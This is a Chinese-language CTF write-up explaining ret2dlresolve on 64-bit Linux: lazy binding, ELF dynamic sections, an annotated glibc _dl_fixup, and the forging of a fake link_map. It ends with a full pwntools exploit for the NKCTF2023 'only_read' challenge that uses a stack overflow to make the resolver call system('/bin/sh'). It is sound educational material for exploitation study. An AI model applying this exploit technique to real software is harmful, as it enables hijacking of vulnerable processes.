前言
ret2dlresolve攻击的核心就是控制相应的参数及其对应地址的内容,从而控制解析的函数。在此略微总结关于其相关原理。
1.分析实例来源:bbctf_2020_fmt_me,仅用以了解相关段知识
2.例题来源:NKCTF2023-only_read
以上皆为64位程序,且仅考虑防护为Partial RELRO下的情况。
前置知识
1.什么是延迟绑定
因为程序分为静态链接跟动态链接,因为好多库函数在程序中并不一定都用到,所以在处理动态链接程序的时候,elf文件会采取一种叫做延迟绑定(lazy binding)的技术,也就是当我们位于动态链接库的函数被调用的时候,编译器才会真正确定这个函数在进程中的位置。之后,程序再次调用该函数时,会直接跳转到已经绑定好的地址,而不需要再进行动态链接和加载共享库的过程。延迟绑定通常用于大型程序中需要加载多个共享库的情况,可以避免不必要的资源消耗,提高程序的性能和响应速度。
第一次调用
例如call _read
:
程序跳到read_plt
:
直接跳到0x404040对应储存的代码段处
gdb-peda$ x/gx 0x404040
0x404040: 0x0000000000401086
因为第一次调用还未正确加载函数,所以我们跳到0x401086处,即push 0x5;jmp 0x401020
。其中0x5表示索引。后面将会提到。
gdb-peda$ x/30i 0x401020
0x401020: push QWORD PTR [rip+0x2fe2] # 0x404008
0x401026: jmp QWORD PTR [rip+0x2fe4] # 0x404010
我们来到0x401020处,首先将0x404008储存的值压入栈中,然后跳到0x404010储存的对应代码段中。其中0x404008存储的为一个叫link_map的指针,其中包含程序的相关信息。_dl_runtime_resolve
函数将会根据push的索引解析获得函数的实际地址,并填入对应的got
表中。
gdb-peda$ tele 0x404008
0000| 0x404008 --> 0x7f39a7d41168 --> 0x0
0008| 0x404010 --> 0x7f39a7b31e40 (<_dl_runtime_resolve_xsave>: push rbx)
这样第一次函数调用就完成了,对应的got
表中也有了正确的函数地址。
第二次调用
由于第一次调用,对应的got
已经填入函数地址,将直接调用对应函数。
2.elf段
gdb-peda$ readelf
.interp = 0x4002a8
.note.gnu.build-id = 0x4002c4
.note.ABI-tag = 0x4002e8
.gnu.hash = 0x400308
.dynsym = 0x400330
.dynstr = 0x4004b0
.gnu.version = 0x400574
.gnu.version_r = 0x400598
.rela.dyn = 0x4005c8
.rela.plt = 0x400658
.init = 0x401000
.plt = 0x401020
.text = 0x4010c0
.fini = 0x401388
.rodata = 0x402000
.eh_frame_hdr = 0x402080
.eh_frame = 0x4020c8
.init_array = 0x403e00
.fini_array = 0x403e08
.dynamic = 0x403e10
.got = 0x403fe0
.got.plt = 0x404000
.data = 0x404060
.bss = 0x404080
对于ret2dlresolve我们主要关注
- .dynsym
- .dynstr
- .dynamic
- .got.plt
- .rela.plt
.dynsym
下面是64位下的sym结构体
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
其中
- Elf64_Word 32 位
- Elf64_Section 16 位
- Elf64_Addr 64 位
- Elf64_Xword 64 位
所以sym结构体的大小为24字节,.dynsym
段由一系列sym结构体构成,每个结构体可以说对应一个函数。
我们重点关注这个st_name
,它存储了函数字符串在.dynstr
段中的偏移。
.dynstr
.dynstr
段紧贴.dynsym
段。其中存储了一系列函数的名称字符串。例如我们从.dynsym
段中取出puts
的sym结构体的st_name
的值,为0xb。从.dynstr
基址偏移0xb即为puts
字符串。
.dynamic
可以看到该段存储了许多关于其他段的信息。其中DT_STRTAB
、DT_SYMTAB
、分别.dynstr
、.dynamic
,尤为重要的是DT_JMPREL
对应.rel.plt
段(重定位表)。
那么什么是.rel.plt
段呢?
我们首先理清楚第一次调用时干了什么,它首先push了一个索引,然后又push了一个link_map指针,显然push的索引是为了找到对应的函数。系统根据link_map
指针查找DT_JMPREL
储存的值找到了.rel.plt
段,并利用索引找到对应的结构体。
其中定义的结构体为
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
/* How to extract and insert information held in the r_info field. */
r_offset
表示延迟绑定后函数地址填入的位置,即函数的got表,而r_info
可以得到函数在.dynsym
段中的索引。
例如read
函数:其 r_info
为700000007h,(0x700000007h>>32)后为7,表示在.dynsym
段中的索引为7.
数一数,确实如此。
3.流程总结
那么,我们最后总结一下整个过程:
1.延迟绑定push函数索引以及link_map结构体指针
2.系统根据link_map指针获取.dynsym、.dynstr以及.rel.plt地址
3.根据函数索引在.rel.plt段中查找函数在.dynsym段中的偏移
4.拿到偏移后,找出对应的sym结构体,根据sym结构体的st_name在.dynstr中查找函数名称字符串
5._dl_runtime_resolve函数利用获取的字符串得到真正的函数地址并调用,再将函数地址填入got表中
你可能已经发现了其中可以利用的漏洞点:如果有合适的栈溢出,我们可以人为的伪造一个link_map指针以及函数索引,控制调用危险函数,32位可以只伪造函数索引,即伪造索引为一个很大的值,并且伪造reloc,symtab,strtab。但是64位下会出错,原因是在_dl_fixup函数执行过程中,访问到了一段未映射的地址处。
例题分析
这里我们那NKCTF2023的only_read举例。
可以很明确的看到一个栈溢出漏洞,并且全局都没有能够像write
这样的输出函数。这里的偏移我们以汇编的为准,即距离rbp
为0x30。
1.关键函数
这里介绍一下_dl_runtime_resolve
中重要的函数<_dl_fixup>
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1]
{
// 获取link_map中存放DT_SYMTAB的地址
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 获取link_map中存放DT_STRTAB的地址
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 根据重定位结构体的r_info得到symtab表中对应的结构体
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码
{
const struct r_found_version *version = NULL;
// 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
// 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段,就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段,第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
RTLD_ENABLE_FOREIGN_CALL;
// 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
RTLD_FINALIZE_FOREIGN_CALL;
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
// 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
}
else
{
// 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value
/* We already found the symbol. The module (and therefore its loadaddress) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
2.伪造link_map
接下来我们的任务就是控制 link_map 中的l_addr和 sym中的st_value
具体思路为
- 伪造 link_map->l_addr 为libc中已解析函数与想要执行的目标函数的偏移值,如 addr_system-addr_xxx
- 伪造 sym->st_value 为已经解析过的某个函数的 got 表的位置
- 也就是相当于 value = l_addr + st_value = addr_system - addr_xxx + real_xxx = real_system
根据前面讲到的sym结构体知识,st_value的偏移为0x8。
如果,我们把一个函数的got表地址-0x8的位置当作sym表首地址,那么它的st_value的值就是这个函数的got表上的值,也就是实际地址,此时它的st_other恰好不为0。
那么现在让我们来看看link_map的具体结构
struct link_map {
Elf64_Addr l_addr;
char *l_name;
Elf64_Dyn *l_ld;
struct link_map *l_next;
struct link_map *l_prev;
struct link_map *l_real;
Lmid_t l_ns;
struct libname_list *l_libname;
Elf64_Dyn *l_info[76]; //l_info 里面包含的就是动态链接的各个表的信息
...
size_t l_tls_firstbyte_offset;
ptrdiff_t l_tls_offset;
size_t l_tls_modid;
size_t l_tls_dtor_count;
Elf64_Addr l_relro_addr;
size_t l_relro_size;
unsigned long long l_serial;
struct auditstate l_audit[];
}
图片没有截全,我们只需要关注l_addr
,以及l_info
。
我们需要伪造这个数组里的几个指针
- DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)
- DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)
- DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)
然后分别伪造三个对应的结构体即可,dynstr只需要指向一个可读的地方,因为这里我们没有用到。着重讲一下DT_JMPREL指针,程序找到该指针后,取出对应Elf64_Dyn
结构体的d_un
值用以找到.rel.plt
段,即我们既要伪造DT_JMPREL指针,也要伪造对应的d_un
值。
3.exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io=process('./only_read')
elf=ELF('./only_read')
libc=ELF('./libc-2.31.so')
pop_rdi=0x401683
pop_rsi_r15=0x401681
plt_load=0x401026
fun_addr=0x4013c4
bss=0x404060
read_plt=elf.plt['read']
read_got=elf.got['read']
l_addr=libc.sym['system']-libc.sym['read']
r_offest=bss+l_addr*-1
dynstr=0x4004D8
io.send(b'V2VsY29tZSB0byBOS0NURiEA')
sleep(0.5)
io.send(b'dGVsbCB5b3UgYSBzZWNyZXQ6AA==')
sleep(0.5)
io.send(b'SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45AA==')
sleep(0.5)
io.send(b'Y2FuIHlvdSBmaW5kIG1lPwA=')
sleep(0.5)
payload=b'a'*0x38+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(bss+0x100)+p64(0)+p64(read_plt)+p64(fun_addr)
io.send(payload)
sleep(0.5)
fake_link_map_addr=bss+0x100
#由于我们用不到strtab,所以dynstr随意设置了一个可读区域
fake_strtab_addr=fake_link_map_addr+0x8
fake_strtab=p64(0)+p64(dynstr)
# 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8
fake_symtab_addr=fake_link_map_addr+0x18
fake_symtab=p64(0)+p64(read_got-8)
fake_rel_addr=fake_link_map_addr+0x28
# fake_linkmap_addr + 0x38,因为伪造的push的索引是0,也就是第一项
fake_dyn_rel=p64(0)+p64(fake_link_map_addr+0x38)#这里的值就是伪造的.rel.plt的地址
# Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
# Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项,7是为了绕过条件判断
# Rela->r_addend,任意值都行
fake_rel=p64(r_offest)+p64(0x7)+p64(0)
# &(2**64-1)是因为offset为负数,如果不控制范围,p64后会越界,发生错误
fake_link_map=p64(l_addr& (2 ** 64 - 1))
fake_link_map+=fake_strtab
fake_link_map+=fake_symtab
fake_link_map+=fake_dyn_rel
fake_link_map+=fake_rel
fake_link_map=fake_link_map.ljust(0x68,b'\x00')
# fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址
fake_link_map+=p64(fake_strtab_addr)
# fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
fake_link_map+=p64(fake_symtab_addr)
fake_link_map+=b'/bin/sh\x00'
fake_link_map=fake_link_map.ljust(0xf8,b'\x00')
# fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
fake_link_map+=p64(fake_rel_addr)
io.send(fake_link_map)
sleep(0.5)
#把/bin/sh传进rdi,并且调用_dl_rutnime_resolve函数,传入伪造好的link_map和索引
payload=b'a'*0x38+p64(pop_rdi)+p64(fake_link_map_addr+0x78)+p64(plt_load)+p64(fake_link_map_addr)+p64(0)
io.send(payload)
io.interactive()
参考
https://bbs.kanxue.com/thread-266769-1.htm#msg_header_h3_3
https://www.freebuf.com/articles/system/170661.html
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/#partial-relro
Comments | NOTHING